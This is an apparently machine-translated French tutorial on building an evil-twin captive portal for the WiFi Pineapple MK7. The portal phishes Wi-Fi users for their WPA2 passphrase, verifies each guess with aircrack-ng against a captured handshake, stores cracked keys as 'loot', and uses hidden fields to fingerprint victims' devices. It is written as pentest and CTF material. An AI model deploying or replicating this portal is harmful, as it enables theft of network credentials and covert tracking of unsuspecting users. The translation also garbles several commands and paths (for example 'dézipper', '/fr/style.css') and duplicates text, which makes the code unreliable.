Passer au contenu

Scroll Indicator

Portails Wifi Ananas avec Amec0e

Portail Captif

Dans l'article d'aujourd'hui, nous allons examiner le module de portail captif sur le WiFi Pineapple MK7. Nous allons couvrir la configuration et la création d'un portail captif qui a été fait avec l'ingénierie prompte en utilisant ChatGPT, nous allons également décomposer ce que le code fait, et vous emmener à travers le portail qui utilisera un Handshake à 4 voies capturé. Similaire au portail captif Airgeddon avec Handshake.

A propos de moi

L'auteur de l'article de LAB401 Academy d'aujourd'hui est Amec0e, un chercheur en sécurité et un joueur occasionnel de CTF.

Note de l'éditeur Si vous avez aimé cet article, et que vous souhaitez soutenir amec0e, pensez à utiliser le code AMEC0E à la caisse de Lab401 (ou cliquez simplement sur le lien). Vous obtiendrez 5% de réduction sur tous les produits (sauf les produits Flipper) et vous soutiendrez amec0e en même temps !

Présentation de l'ananas WiFi de Hak5 (vendu par lab401)

Aujourd'hui nous allons parler du WiFi Pineapple MK7 fabriqué par Hak5 et vendu par Hak5 et LAB401, il s'agit de leur plateforme d'audit WiFi et de leur point d'accès pirate utilisant leur combinaison brevetée PineAP Suit.

Nous allons nous pencher sur les portails captifs et les questions brûlantes que tout le monde se pose.

L'ananas WiFi est-il encore utile en 2024 ?

Je ne suis pas un expert en ingénierie des prompts, et tout au long de la création de ce projet, j'ai fait beaucoup de mauvais prompts et beaucoup de bons prompts. Notez également que la liste de construction n'est pas une liste de prompteurs à intégrer dans ChatGPT, il s'agit juste d'éléments généraux et de fonctions dont nous avons besoin et qui ne sont pas classés dans un ordre particulier.

Vous êtes libre de suivre ici et de créer ceci au fur et à mesure (ce que je vous encourage à faire car vous apprendrez beaucoup) ou, vous pouvez simplement télécharger la version finalisée sur mon dépôt Github. Cependant, où est le plaisir de ne pas apprendre quelque chose de nouveau aujourd'hui ? :D

PS : Si vous me suivez, prenez un café !

Ceci étant dit, commençons !

Pré-requis pour le portail captif

  • Bootstrap CSS (min).
  • bootstrap JS (bundled).
  • JQuery JS du CDN.
  • Icônes Bootstrap.
  • aircrack (devrait être installé par défaut).
  • dézipper le paquet.(opkg install unzip)

Prérequisoptionnels pour des scripts supplémentaires à la fin de l'article concernant le MK7 :

  • sqlite3-cli
  • libsqlite3
  • airodump-ng (devrait être installé par défaut).
  • écran
  • jq

Bootstrap.min.css & Bootstrap.bundled.min.js

Avant de les installer, nous allons créer un répertoire pour eux dans le portail :

NOTE : Seuls ces fichiers iront ici, tout ce qui est personnalisé restera dans le répertoire racine du portail.

mkdir /root/portals/Airport/css && mkdir /root/portals/Airport/js

Une fois cela fait, récupérons les fichiers bootstrap (pour cela, j'utilise bootstrap 4.3.1) :

cd /tmp && wget -O bootstrap.zip https://github.com/twbs/bootstrap/releases/download/v4.3.1/bootstrap-4.3.1-dist.zip

Une fois le fichier téléchargé, nous pouvons lancer unzip :

unzip bootstrap.zip

Déplacez maintenant le fichier bootstrap.min.css :

mv /tmp/bootstrap-4.3.1-dist/css/bootstrap-4.3.1.min.css /root/portals/Airport/css

Maintenant que nous avons cela, nous pouvons déplacer bootstrap.bundled.min.js :

mv /tmp/bootstrap-4.3.1-dist/js/bootstrap.bundled.min.js /root/portals/Airport/js

JQuery

La version de JQuery que j'utilise ici est en fait la dernière (3.7.1 au moment où j'écris ces lignes). Nous pouvons obtenir la version compressée (min) depuis le CDN de JQuery :

cd /tmp && wget https://code.jquery.com/jquery-3.7.1.min.js

Une fois la version téléchargée, nous pouvons la déplacer dans le répertoire js de notre portail :

mv /tmp/jquery-3.7.1.min.js /root/portals/Airport/js

Maintenant que nous avons les fichiers nécessaires pour que certains éléments de la page fonctionnent et s'initialisent correctement, nous pouvons aller de l'avant et obtenir les icônes Bootstrap.

Icônes Bootstrap

Maintenant que nous avons les fichiers JQuery js et Bootstrap JS et CSS, nous voulons obtenir les icônes de Bootstrap car nous les utiliserons également. Commençons par créer le répertoire fonts :

mkdir /root/portal/Airport/fonts

Ensuite, nous voulons récupérer nos fichiers d'icônes bootstrap :

cd /tmp && wget -O bootstrap-icons.zip https://github.com/twbs/icons/archive/refs/tags/v1.11.3.zip

Nous devons maintenant décompresser l'archive et changer de répertoire pour copier les fichiers nécessaires dans notre répertoire de portails :

dézipper bootstrap-icons.zip && cd icons-1.11.3/font/

Nous allons donc copier les fichiers dont nous avons besoin, à savoir bootstrap-icons.css et deux fichiers du répertoire fonts appelés boostrap-icons.woff et bootstrap-icons.woff2, et les placer dans notre nouveau dossier fonts :

cp bootstrap-icons.css /root/portals/Airport/css && cp fonts/boostrap-icons.woff /root/portals/Airport/fonts && cp fonts/bootstrap-icons.woff2 /root/portals/Airport/fonts

Nous pouvons maintenant nettoyer le dossier tmp si nécessaire.

cd && rm -rf /tmp/icons-1.11.3/ && rm -rf /tmp/bootstrap-4.3.1-dist/ && rm /tmp/bootstrap.zip && rm /tmp/bootstrap-icons.zip

Maintenant que c'est fait, nous devons éditer le fichier bootstrap-icons.css pour qu'il pointe vers l'emplacement de nos deux bootstrap-icons.woff et bootstrap-icons.woff2.

Utilisons donc nano pour cela :

nano /root/portals/Airport/css/bootstrap-icons.css

Les lignes que nous voulons changer ici sont src : url :.

Avant

 @font-face { font-display : block ; font-family : "bootstrap-icons" ; src : url("./fonts/bootstrap-icons.woff2?dd67030699838ea613ee6dbda90effa6") format(" woff2"), url("./fonts/bootstrap-icons.woff?dd67030699838ea613ee6dbda90effa6") format("woff") ; }

Nous devons modifier ceci en ajoutant simplement ../ pour remonter d'un répertoire, ce qui nous ramènera du répertoire css/ au répertoire racine du portail, ce qui lui permettra de trouver fonts/ et les fichiers .woff associés.

Après

@font-face { font-display : block ; font-family : "bootstrap-icons" ; src : url("../fonts/bootstrap-icons.woff2?dd67030699838ea613ee6dbda90effa6") format(" woff2"), url("../fonts/bootstrap-icons.woff?dd67030699838ea613ee6dbda90effa6") format("woff") ; }

Cela permettra au fichier css de localiser correctement les fichiers .woff nécessaires pour les icônes.

Maintenant que c'est fait, nous pouvons passer à la construction proprement dite.

Quelques remarques avant de commencer.

Je ne vais pas vous montrer comment créer une page d'hameçonnage réaliste, en particulier contre des cibles de haut niveau pour des raisons juridiques. Au lieu de cela, je vais créer un portail qui visera à obtenir l'accès à un réseau wifi, mais ce portail sera également flexible car nous voulons être en mesure de le modifier selon nos besoins. Maintenant, nous savons que chaque page de portail captif public comporte généralement les éléments suivants : Une case de nom, une case d'adresse électronique, une case à cocher, un lien vers les conditions générales de vente, un bouton de connexion/soumission, etc.

Cependant, ce portail a été conçu pour cibler les réseaux WiFi. Néanmoins, j'ai inclus dans le portail captif final tous les éléments que vous trouveriez sur un portail captif public, il aura juste besoin de quelques ajustements pour s'adapter à votre cible.

J'ai d'abord utilisé le modèle de portail captif "ciblé" par défaut, mais j'ai remarqué qu'il y avait un problème, ainsi que d'autres différences, par exemple $_SERVER['HTTP_URI'] devrait en fait être $_SERVER['REQUEST_URI'], comme c'est le cas dans le modèle "basique" par défaut. De même, les en-têtes Cache-Control sont définis en PHP au lieu de la balise HTML Meta.

Il existe également un en-tête supplémentaire déprécié, mais qui est toujours pris en charge par les navigateurs (pour les caches plus anciens), il s'agit de l'en-tête HTTP Pragma utilisé pour le Cache-Control.

Le texte/javascript n'est pas déprécié, mais il n'est plus nécessaire de spécifier JavaScript comme langage pour la balise script. La plupart des navigateurs web utilisent JavaScript comme langage de script par défaut, une simple balise script est suffisante, mais il n'est pas inutile de la laisser telle quelle.

Comme nous le savons, ChatGPT peut être un outil utile, mais j'ai dû faire quelques ajustements en cours de route (vous en ferez probablement autant). Ainsi que d'autres problèmes que j'ai eus où il ne pouvait pas comprendre pourquoi certaines choses avaient des couleurs différentes, ce qui créait du code redondant, donc il est vraiment utile de lire ce que ChatGPT crée.

Essayez également de garder vos messages courts et concis, ne demandez pas trop de choses en une seule fois, sinon vous risquez d'avoir des segments manquants ou de voir ChatGPT s'égarer et commencer à changer plus de choses que ce que vous avez demandé. Si le code commence à devenir trop volumineux, ne lui donnez que les segments qui ont besoin d'être ajustés.

Présentation de l'AirPort !

Il s'agit d'un nouveau portail captif sur lequel j'ai travaillé, inspiré par le script Airgeddon (Air) et plus spécifiquement par le portail captif (Port) avec handshake. D'où le nom AirPort. Je suis très enthousiaste, car j'ai dû trouver une aiguille dans une botte de foin de 16 000 lignes de code pour comprendre comment Airgeddon transmettait le mot de passe de l'utilisateur à Aircrack. La réponse à cette question est qu'il fournissait l'entrée de l'utilisateur sous la forme d'un fichier de liste de mots qui, bien sûr, n'avait qu'une seule entrée. Cela signifie qu'il stockait l'entrée de l'utilisateur dans un fichier sur le système pour l'utiliser pour des requêtes, et à partir de là, j'ai cherché à faire la même chose.

Ce portail utilise plusieurs scripts php différents. Ces scripts prennent le mot de passe saisi dans le formulaire et le stockent dans un fichier, après quoi ils exécutent aircrack-ng avec la saisie de l'utilisateur enregistrée dans le fichier et la comparent à une poignée de main que nous avons capturée précédemment avec airodump-ng.

S'il réussit à cracker la poignée de main, il affiche les résultats avec la ligne "KEY FOUND" (après un certain nettoyage) dans un fichier appelé /tmp/airport_creds_tmp.txt. Une vérification ultérieure est ensuite effectuée pour s'assurer que le mot de passe a bien été déchiffré, puis copié dans le fichier /root/airport_loot.txt. Un autre script php vérifie alors le contenu du fichier à la recherche des mots "KEY FOUND" et, si c'est le cas, l'utilisateur est redirigé vers la page correct.php.

Si le mot de passe est erroné, le fichier aircrack outputs sera vide, ce qui signifie que le script php ne trouvera pas KEY FOUND et redirigera donc l'utilisateur vers la page incorrect.php.

La construction

Comme je l'ai mentionné, ce portail utilise quelques scripts PHP ainsi qu'un fichier js externe, un fichier css et un script bash pour effectuer le craquage de la poignée de main.

NOTE : Pour une raison quelconque, le portail n'a pas voulu jouer le jeu lorsque j'ai organisé nos fichiers personnalisés dans des répertoires et des sous-répertoires, donc tous nos fichiers et images personnalisés doivent être dans le répertoire racine du portail (/root/portals/Airport/) dans notre cas. NE METTEZ PAS ces fichiers ailleurs (ceux que nous allons créer).

Les éléments ci-dessous ne sont pas des messages à envoyer à ChatGPT, ce sont des éléments que nous devons simplement ajouter pour obtenir l'aspect, la convivialité et la fonction que nous voulons.

Créer Default.php :

  • Une carte Bootstrap avec des bords arrondis et une ombre portée.
  • Un titre dans le corps de la carte avec un texte plus petit sous le titre
  • Un bouton de connexion.
  • Une boîte de saisie du mot de passe.
  • Ajouter des styles au bouton de connexion, les boutons étant de la même couleur et le texte étant blanc.
  • Sous le bouton de connexion, aligné à gauche dans le corps de la carte, un petit message d'erreur gris présentant un faux message du type "STATUS : ERR_AUTH_FAILED".
  • Aligné à droite sur la même ligne que le message d'erreur, un popover bootstrap "Why did this happen ?" avec js pour l'initialiser avec un titre de Login et un texte avec hello world pour les espaces réservés.
  • Une iframe cachée pour envoyer la requête, ce qui nous permet de garder l'utilisateur sur la même page.
  • Nous voulons nous assurer que nous ne mettons aucune des pages en cache en utilisant PHP et HTML.
  • Nous voulons créer deux nouveaux fichiers pour les styles js et css (func.js, style.css) et les inclure dans default.php.
  • Nous voulons également un message de chargement lorsque le bouton de connexion est cliqué, pour permettre aux scripts de finir de s'exécuter avant d'être vérifiés. Cela permet de s'assurer que l'utilisateur sait qu'il a cliqué sur login.
  • Ajout d'un remplissage bootstrap bi-eye au champ mot de passe.
  • Nous voulons ajouter un champ Mac client similaire au message d'erreur d'état affichant l'adresse Mac du client.
  • Ajouter une image au-dessus de Login sur la carte pour permettre un logo sur default.php et incorrect.php
  • Ajouter un petit bloc de code php pour ESSID pour le titre de la carte sur default.php. (Solution pour ne pas être capable d'obtenir le SSID connecté dans certains cas)
  • Ajout d'un champ de saisie caché pour la fonction useragent définie dans helper.php.
  • Ajout de l'autocomplétion au champ du mot de passe pour permettre aux utilisateurs (sur les appareils tactiles) de toucher deux fois le champ du mot de passe et d'afficher l'"autocomplétion".
  • Ajout d'une case à cocher pour l'affichage d'un message ACL Allow List dans correct.php
  • Ajouter 5 nouveaux champs de saisie cachés pour recueillir des informations sur le système en utilisant les fonctions de func.js (GSR, GOS, GWB, GAT et GCC).

Créer Func.js

  • Fonction Redirect pour démarrer la chaîne de vérification, qui ajoutera également le paramètre ACLAllow si la case à cocher est sélectionnée.
  • Fonction GoBack pour la page incorrect.php.
  • run_test Fonction pour faire une requête POST avec le mot de passe vers run_test.php pour traitement.
  • Fonction submitForm pour afficher un message de chargement de bootstrap tout en exécutant la fonction run_test immédiatement et en retardant la fonction de redirection de 2 secondes.
  • Fonction togglePassword pour l'initialisation des icônes bi-eye-fill du Bootstrap.
  • Initialisation du popover pour le popover Bootstrap.
  • Fonction GSR pour obtenir la résolution de l'écran de l'utilisateur.
  • Fonction GWB pour obtenir le navigateur Web de l'utilisateur.
  • Fonction GOS pour obtenir le système d'exploitation de l'utilisateur.
  • Fonction GAT pour obtenir le type d'architecture de l'utilisateur.
  • Fonction GCC pour obtenir le nombre de processeurs logiques de l'utilisateur.

Création du fichier Style.css

  • Nous voulons ajouter une image d'arrière-plan au fichier css et spécifier le corps html. Ceci afin que l'image d'arrière-plan soit derrière tous les autres éléments.
  • Nous voulons styliser le conteneur.
  • Nous voulons donner un style au bouton.
  • Nous voulons donner un style à la couleur du texte.
  • Nous voulons donner un style au corps de la carte
  • Et nous voulons aussi styliser la carte elle-même.
  • Nous voulons également ajouter des transitions et des effets de filtre.

Créer Auther.sh

  • Ajoutez une variable BSSID.
  • Ajouter une variable Capture Location.
  • Ajouter une variable Temp_Attempt.
  • Ajouter une variable Temp_Creds.
  • Ajouter une variable Loot_File.
  • Exécutez aircrack avec les variables requises.
  • Grep pour KEY Found.
  • Supprimer les caractères d'échappement ANSI.
  • Produire ce résultat dans Temp_Creds.
  • Ajouter une instruction If pour vérifier si le fichier creds contient quelque chose (mot de passe cracké) et si c'est le cas, le copier dans le répertoire racine pour éviter l'écrasement lors d'une prochaine tentative de mot de passe incorrect.

Créez run_Test.php

  • Récupérer le mot de passe du formulaire et le sauvegarder dans un fichier appelé /tmp/airport_attempt_tmp.txt.
  • Exécutez notre script bash.
  • Définissez les tuyaux pour stdin, stdout et stderr.
  • Ouvrez le processus.
  • Nettoyer (fermer les tuyaux et le processus).
  • Petite gestion des erreurs.

Créer Checking.php

  • Définir le chemin d'accès aux fichiers de mots de passe à vérifier. (airport_creds_tmp.txt).
  • Ouvrir le fichier.
  • Afficher le message d'autorisation au centre de l'écran.
  • Lire le fichier et vérifier la présence de "KEY FOUND".
  • Si le terme de recherche est trouvé, le javascript est ajouté à la page pour gérer la redirection après 1 seconde vers la page correct.php.
  • S'il est incorrect, il y aura un écho javascript pour changer vers incorrect.php.
  • Ajoutez une vérification pour le paramètre checkbox de default.php et écrivez "true" dans /tmp/airport_aclallow.txt.
  • Ecrivez un autre fichier appelé /tmp/airport_rueay.txt avec la valeur "true" si le mot de passe est correct.
  • Nous voulons appliquer les mêmes en-têtes Cache-Control de default.php ici aussi, ainsi que correct et incorrect.php

Créer Incorrect.php

  • Nous voulons ajouter le fichier de style et func.js à la page incorrect.php.
  • Une grande partie du code précédent ici proviendra de la fondation que nous avons faite plus haut. La plupart d'entre eux sont des ajouts plutôt que des suppressions.
  • Ajuster Cache-Control pour qu'il corresponde à default.php

Créer Correct.php

  • Ici, nous pouvons utiliser la page incorrect.php et supprimer le bouton Revenir en arrière et le message popover.
  • Nous voulons ajouter un nouveau message sous le message de statut avec le mac du client et un faux message lui disant que son mac est ajouté à une liste ACL Allow, ceci est fait en récupérant la valeur stockée dans /tmp/airport_aclallow.txt.
  • Incluez le fichier func.js ici.
  • Ajouter une balise style avec un style personnalisé pour cette page (nous n'avons pas besoin de beaucoup de style pour cela).
  • Atténuer un problème d'accès direct qui fera que l'utilisateur sera authentifié sur le portail sans entrer d'informations d'identification. Cette atténuation consiste à vérifier que le fichier /tmp/airport_rueay.txt contient "true" et que l'en-tête du référent est "/checking.php".
  • Ajouter la fonction auth_success ici (optionnel).
  • Ajouter une vérification pour le fichier ACLAllow afin de déterminer s'il faut afficher le faux message ACL ou non (ce qui donne à notre case à cocher une fonction réelle).
  • Ajustez Cache-Control pour rendre default.php.

Créer Visited.php

  • Définir des variables pour ssid, mac, hostname, ip, ua, file directory et file path.
  • Vérifier que la requête en cours est une méthode GET.
  • Vérifier que le fichier existe.
  • Si le fichier n'existe pas, créez-le.
  • Exécuter la commande "pineutil notify".

MonPortail.php

  • Modifier le fichier MyPortal.php pour qu'il ne contienne qu'un seul champ (celui du mot de passe) et pas celui de l'email, ainsi que pour ajuster la journalisation.
  • Ajout de chaînes heredoc pour le fichier_put_contents pour une meilleure lisibilité dans MyPortal.
  • Ajout d'une variable pour la date, l'agent utilisateur, le navigateur web, la résolution d'écran, le système d'exploitation, le type d'architecture et le nombre de processeurs dans MyPortal.php pour la journalisation.
  • Modification du message de notification.

J'espère que je n'ai rien oublié ici !

Toucher Style.css et func.js

Tout d'abord, nous devons créer les deux fichiers à éditer, ici je vais utiliser le terminal pour les créer.

touch /root/portals/Airport/style.css touch /root/portals/Airport/func.js

Création de Default.php

Ici, nous allons créer la page par défaut que l'utilisateur verra initialement, je vais essayer de décomposer un peu le code pour vous au fur et à mesure que nous avançons. Je vais décomposer le code de haut en bas et fournir l'extrait de code sous la décomposition à laquelle il appartient. Juste pour s'assurer que nous regardons les choses de la même manière.

$destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "" ; - Ici nous définissons la variable "destination", nous concaténons le "http://" avec le HTTP_HOST (l'IP des visiteurs assignée par le Pineapple) avec le REQUEST_URI (la page courante sur laquelle nous sommes) ensemble et nous stockons ceci comme la valeur de "destination".

require_once('helper.php') ; - Ici nous utilisons require_once au lieu de require pour inclure la page helper.php une seule fois, si le fichier n'est pas trouvé ou s'il y a une erreur le script s'arrêtera.

require_once('visited.php') ; - Ici nous faisons la même chose que ci-dessus mais nous incluons notre page "visited.php" qui sera créée après les ajustements de MyPortal.php. Elle affichera une notification dans l'interface WebUI avec des informations sur la cible, afin que nous sachions quand quelqu'un est tombé dans le piège.

header("Cache-Control : no-store, no-cache, must-revalidate") ; - Ici, nous définissons un en-tête pour Cache-Control avec les directives suivantes : no-store, no-cache, must-revalidate.

header("Pragma : no-cache") ; - Nous définissons ici l'en-tête Pragma pour Cache-Control, celui-ci est obsolète mais toujours pris en charge. Il est utilisé pour la compatibilité ascendante avec les caches HTTP/1.0.

header("Expires : 0") ; - Nous définissons ici l'en-tête Expires, si la directive max-age=0 est incluse dans la réponse, Expires est ignorée.

$essid = "Airport WiFi 6" ; - Nous définissons ici la variable essid pour afficher l'ESSID que nous entrons manuellement pour notre cible (la raison pour laquelle j'ai défini cette variable de manière statique est que j'ai rencontré des problèmes avec l'ESSID qui n'était pas affiché lorsque le portail captif était en cours d'exécution).

<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "" ; require_once('helper.php') ; require_once('visited.php') ; header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; $essid = "Airport WiFi 6" ; ?>

Poursuivons avec la décomposition du code suivant :

<iframe name="login" id="login" style="display : none ;"></iframe> - Ici, nous définissons une iframe invisible ciblée en utilisant l'identifiant "login" et le style avec display : none ;.

<iframe name="login" id="login" style="display : none ;"></iframe>

Poursuivons avec la décomposition du code suivant :

<!DOCTYPE html> - Nous définissons ici la déclaration HTML DOCTYPE, qui informe simplement le navigateur du type de contenu qui est chargé. Tous les documents HTML doivent commencer par une déclaration DOCTYPE.

<html lang="en"> - Nous informons ici le navigateur du type de langue dans lequel le contenu est rédigé. "en" signifie anglais.

<head> - La balise HTML Head est un conteneur de métadonnées, placé entre une balise html et une balise body.

<meta charset="UTF-8"> - Nous utilisons ici une balise méta utilisant charset pour indiquer au navigateur le jeu de caractères à utiliser.

<meta name="viewport" content="width=device-width, initial-scale=1"> - Nous définissons ici le viewport qui est utilisé pour la conception de sites web réactifs (conceptions pour mobiles et tablettes). Nous utilisons également width=device-width qui signifie 100% de la largeur du viewport ainsi que initial-scale pour contrôler le niveau de zoom.

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> - Nous utilisons ici une balise méta avec la directive http-equiv pour définir l'en-tête Cache-Control en HTML5. C'est similaire à ce que nous avons fait plus haut dans un bloc de code PHP.

<meta http-equiv="Pragma" content="no-cache" /> - Ici, nous définissons à nouveau l'en-tête Pragma pour le contrôle du cache avec les caches HTTP/1.0.

<meta http-equiv="Expires" content="0" /> - Nous définissons ici l'en-tête HTTP Expires également pour le contrôle des caches.

<link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> - Nous utilisons ici une balise de lien pour spécifier la relation entre le document actuel et une ressource externe, dans notre cas il s'agit de notre css bootstrap.

<link rel="stylesheet" href="/css/bootstrap-icons.css"> - C'est la même chose que ci-dessus. Ceci inclut les icônes de bootstrap.

<script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> - Nous utilisons ici un élément script avec src - c'est là que nous spécifions un URI pour un script externe à inclure dans la page. Le "type" est un type mimétique utilisé pour indiquer aux navigateurs le langage des balises de script. En HTML5, JavaScript est le langage de script par défaut. Nous incluons le fichier JavaScript JQuery pour permettre à certaines fonctions de fonctionner.

<script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> - Comme ci-dessus, mais nous incluons le fichier JavaScript Bootstrap pour faciliter l'utilisation de certains éléments et fonctions de Bootstrap.

<link rel="stylesheet" href="/fr/style.css"> - Tout comme l'élément de lien ci-dessus, cet élément inclut notre fichier css personnalisé pour des styles spécifiques.

<script type="text/javascript" src="/func.js"></script> - Tout comme l'élément script précédent, nous incluons notre fichier func.js qui inclura du JavaScript côté client.

<title><?= $essid ?></title> - Nous spécifions ici le titre de la page web car il se trouve dans la balise head. Nous utilisons PHP pour appeler la valeur de la variable "essid" qui est définie en haut du bloc de code PHP.

< !DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <link rel="stylesheet" href="/css/bootstrap-icons.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/fr/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head>

Si l'on passe à l'élément body, beaucoup de ces éléments div sont purement stylistiques :

<body> - C'est ici que commence l'élément body, qui contient le contenu de la page.

<div class="container mt-5"> - Nous utilisons ici une classe div avec les styles css container et mt-5.

div class="form-row justify-content-center"> - Nous utilisons ici un autre div avec les classes form-row et justify-content-center.

<div class="col-md-6"> - Nous utilisons ici un autre élément div avec la classe col-md-6. Il s'agit d'un mélange de la grille Bootstrap et de l'espacement Bootstrap.

<div class="card rounded-lg border-light shadow"> - Un autre élément div utilisé pour le style, ici nous utilisons card avec rounded-lg, border-light et shadow pour générer le look que nous voulons.

<div class="card-body text-center"> - Encore un autre élément div pour le style, nous utilisons card-body et text-center.

<img src="airport-logo.png" class="img-fluid mb-3" style="max-width : 200 ; max-height : 100px ; object-fit : contain ;"> - Nous incluons ici le logo de notre portail en utilisant un élément HTML img. Le style est un mélange de CSS standard et de Bootstrap img-fluid, mb-6, max-width, max-height, object-fit et contain qui sont tous utilisés à des fins de style.

<h3 class="card-title text-center"><?= $essid ; ?></h3> - Ici, nous utilisons l'élément HTML d'en-tête avec les classes card-title et text-center, nous utilisons également le code PHP pour obtenir la valeur "essid" comme nous l'avons fait précédemment.

<p class="text-center small mb-5">Il semble que vous deviez être autorisé à utiliser ce point d'accès sans fil.</p> - Nous utilisons ici un élément paragraphe pour afficher un message à l'utilisateur en petit texte. Small est comme la balise HTML "small" mais Bootstrap vous permet de le spécifier dans une classe en utilisant simplement small.


<body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width : 200 ; max-height : 100px ; object-fit : contain ;"> <h3 class="card-title text-center"><?= $essid ; ?></h3> <p class="text-center small mb-5">Il semble que vous deviez être autorisé à utiliser ce point d'accès sans fil.</p> <p class="text-center small mb-5">Il semble que vous deviez être autorisé à utiliser ce point d'accès sans fil.</p> <p>Il semble que vous deviez être autorisé à utiliser ce point d'accès sans fil.

Passons maintenant au formulaire :

<form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> - Ici, nous utilisons un élément de formulaire qui définit plusieurs choses, la méthode de requête comme "POST", l'action (page à laquelle envoyer la requête), une action à effectuer en utilisant "onsubmit", nous ciblons également notre iframe et donnons au formulaire l'"id" loginForm pour aider à identifier le formulaire si nécessaire. La différence entre submit et onsubmit est que "onsubmit" nous permet d'exécuter une fonction directement sans avoir besoin d'ajouter un écouteur d'événement.

<div class="form-group text-left mb-4"> - Ici, nous utilisons une autre classe div pour le style en utilisant form-group, text-left et mb-4.

<label for="password">Passphrase:</label> - Nous utilisons ici un élément label pour la saisie du mot de passe en utilisant for, ce qui nous permet d'afficher le mot "Passphrase :" au-dessus de la saisie du mot de passe elle-même.

<div class="input-group"> - Nous utilisons ici une autre classe de div pour l'input-group qui nous permet d'étendre les contrôles de formulaire.

<input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> - Nous utilisons ici l'élément input avec le "type" comme mot de passe, ce qui permet de cacher l'entrée de l'utilisateur au fur et à mesure qu'il tape. Nous utilisons la classe form-control avec un "id" de "password" et le nom "password". Nous utilisons également un attribut placeholder avec "WPA Passphrase", autocomplete avec le mot de passe actuel pour permettre le remplissage automatique. Nous utilisons également l'attribut required pour nous assurer que l'utilisateur doit taper quelque chose.

<div class="input-group-append"> - Ici, nous utilisons la div avec la classe input-group-append qui fait partie du "input-group" et qui nous permet d'ajouter du texte, des icônes, etc. au formulaire pour le rendre plus attrayant visuellement.

<span class="input-group-text"> - Nous utilisons ici la balise span avec le contrôle de formulaire "input-group-text".

<i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> - C'est ici que nous affichons notre icône Bootstrap bi-eye, en utilisant un élément texte idiomatique, avec l'"id" de "showPasswordIcon" et un gestionnaire d'événement onclick pour exécuter directement une fonction sur le clic de la souris de l'utilisateur.

                       <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase :</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div> </div>

Continuez ici avec le reste du formulaire :

<div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> - Nous plaçons ici un élément div vide, c'est là que nous allons cibler notre fonction JS "loading-message" à afficher. Les éléments "text-center", "mt-3", "mb-3" et font-weight-bold servent uniquement à styliser le message de chargement. Nous pouvons également spécifier certaines couleurs en utilisant "text-muted" par exemple.

<input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> - Nous utilisons ici un élément input dont le type est "hidden" et le "name" "ssid", l'attribut "value" appelle une fonction php "getClientSSID" dans helper.php utilisant la variable PHP SERVER avec le "REMOTE_ADDR" qui nous permet d'obtenir le SSID des clients connectés (notre ESSID de diffusion). Bien qu'il soit toujours présent et spécifié, la plupart du temps il ne fonctionne pas correctement pour afficher l'ESSID, c'est pourquoi j'ai ajouté une solution de contournement manuelle.

<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> - Ici, cela fonctionne exactement de la même manière que ci-dessus, sauf que cela récupère le nom d'hôte des clients connectés.

<input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> - Ceci permet d'obtenir l'adresse MAC du client connecté.

<input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> - Ici, nous essayons d'obtenir l'adresse IP du client connecté.

<input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ; ?>"> - Ici nous utilisons htmlspecialchars pour obtenir la valeur de "HTTP_USER_AGENT" qui est stockée dans les logs lors de la soumission du formulaire.

<input type="hidden" id="SR" name="SR" value=""> - Nous définissons ici un champ de saisie vide avec l'identifiant et le nom "SR" (résolution d'écran) qui sera rempli par le code côté client dans le fichier func.js. Ceux-ci sont tous construits à partir de l'agent utilisateur.

<input type="hidden" id="OS" name="OS" value=""> - Même chose que ci-dessus mais pour obtenir le système d'exploitation de l'utilisateur.

<input type="hidden" id="WB" name="WB" value=""> - Comme ci-dessus, mais pour le navigateur Web de l'utilisateur (par exemple firefox, chrome, etc.).

<input type="hidden" id="AT" name="AT" value=""> - Identique au précédent, mais pour le type d'architecture du système de l'utilisateur.

<input type="hidden" id="CC" name="CC" value=""> - Il s'agit de la même chose que ci-dessus, mais pour les cœurs de processeur de l'utilisateur.

<script type="text/javascript">GSR() ; GOS() ; GWB() ; GAT() ; GCC();</script> - C'est ici que nous exécutons les fonctions côté client pour remplir les valeurs ci-dessus.

<button type="submit" class="btn btn-orange btn-block text-white">Login</button> - Le vrai MVP ici, le bouton de soumission, ici nous utilisons les classes btn, btn-orange et text-white pour le style. Le btn-orange est un nom de classe personnalisé que vous pourriez nommer btn-helloworld si vous le souhaitez.

<div class="form-group form-check text-left mt-2"> - Encore un autre élément div utilisé pour le style, utilisant form-group, form-check, text-left et mt-2.

